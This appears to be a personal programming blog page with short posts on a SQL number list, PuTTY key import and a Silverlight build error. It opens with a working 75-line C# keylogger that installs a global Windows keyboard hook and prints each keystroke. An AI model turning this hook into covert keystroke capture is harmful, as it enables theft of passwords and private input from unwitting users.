Brent Roady

Carbon based life-form

A C# Keylogger in 75 Lines

A while back I was researching a way to check if a machine was being used so that it could be used in some computationally expensive processing if the machine was idle. I ended up using some WMI commands, but in the course of researching I wrote some code to hook into the keyboard and mouse at a low level.

This code is based off of the GlobalMouseKeyHook project.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace MinHook
{
    class KBHook
    {
        public const int WM_KEYDOWN = 0x100;

        [StructLayout(LayoutKind.Sequential)]
        internal struct KeyboardHookStruct
        {
            public int VirtualKeyCode;
            public int ScanCode;
            public int Flags;
            public int Time;
            public int ExtraInfo;
        }

        public static int HookHandle;

        public delegate int HookCallback(int nCode, int wParam, IntPtr lParam);

        static void Main(string[] args)
        {
            HookHandle = SetWindowsHookEx(13, new HookCallback(CallBackFunction), Process.GetCurrentProcess().MainModule.BaseAddress, 0);

            while (true)
            {
                Application.Run();
            }
        }

        public static int CallBackFunction(int nCode, Int32 wParam, IntPtr lParam)
        {
            if (nCode == 0)
                ProcessCallBack(wParam, lParam);

            return CallNextHookEx(HookHandle, nCode, wParam, lParam);
        }

        public static void ProcessCallBack(Int32 wParam, IntPtr lParam)
        {
            if (wParam != WM_KEYDOWN)
                return;

            KeyboardHookStruct k = (KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(KeyboardHookStruct));

            byte[] keyState = new byte[256];
            byte[] inBuffer = new byte[2];

            GetKeyboardState(keyState);
            bool isSuccesfullyConverted = ToAscii(k.VirtualKeyCode, k.ScanCode, keyState, inBuffer, k.Flags) == 1;

            var ch = (char)inBuffer[0];

            Console.WriteLine(string.Format("VKC={0}, Char={1}", k.VirtualKeyCode, ch));
        }

        [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
        internal static extern int SetWindowsHookEx(int idHook,HookCallback lpfn,IntPtr hMod,int dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
        internal static extern int CallNextHookEx(int idHook,int nCode,int wParam,IntPtr lParam);

        [DllImport("user32")]
        public static extern int ToAscii(int uVirtKey,int uScanCode,byte[] lpbKeyState,byte[] lpwTransKey,int fuState);

        [DllImport("user32")]
        public static extern int GetKeyboardState(byte[] pbKeyState);
    }
}

Generate List of Numbers in SQL Server 2008

A new way to generate a list of numbers between 0 and 9999 in SQL Server 2008 using derived tables:

1
2
3
4
5
select thousands.digit + hundreds.digit + tens.digit + ones.digit as number
from ( select * from ( values ('0'),('1'),('2'),('3'),('4'),('5'),('6'),('7'),('8'),('9') ) as t(digit) ) ones
join ( select * from ( values ('0'),('1'),('2'),('3'),('4'),('5'),('6'),('7'),('8'),('9') ) as t(digit) ) tens on 1=1
join ( select * from ( values ('0'),('1'),('2'),('3'),('4'),('5'),('6'),('7'),('8'),('9') ) as t(digit) ) hundreds on 1=1
join ( select * from ( values ('0'),('1'),('2'),('3'),('4'),('5'),('6'),('7'),('8'),('9') ) as t(digit) ) thousands on 1=1

PuTTY - Unable to Use Key File (OpenSSH SSH-2 Private Key)

Taking my private SSH key off my Linux box to use on my Windows machine, I get the following error trying to make the same connection:

Unable to use key file "C:\Program Files\PuTTY\id_rsa.dev-nfs" (OpenSSH SSH-2 private key)

After several fruitless Google searches, it turns out you have to import the key into PuTTY’s native format using PuTTYgen. Click Load in PuTTYgen and select the file you saved off your Linux box.

After it’s loaded you should get a message stating that key was successfully imported.

Click save private key and you are good to use the new file as your SSH key in PuTTY under Connection > SSH > Auth.

Silverlight

I came across a problem when using Visual Web Developer 2008 to develop for Silverlight. When adding an xmlns for your application to your UserControl, the compiler complains about a missing assembly reference.

1
2
3
4
5
6
7
8
9
10
11
12
<UserControl
        x:Class="SilverlightApplication1.Page"
        xmlns:My="clr-namespace:SilverlightApplication1"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        Width="400" Height="300">
    <Grid x:Name="LayoutRoot" Background="Black">
        <Canvas x:Name="surface">
            <My:Foo x:Name="bar" Canvas.Left="305" Canvas.Top="220"/>
        </Canvas>
    </Grid>
</UserControl>

You can fix this by removing the My:Foo element and building the project before adding the element back in.

Welcome

Welcome to Brent Roady’s blog.  Yes, THE Brent Roady.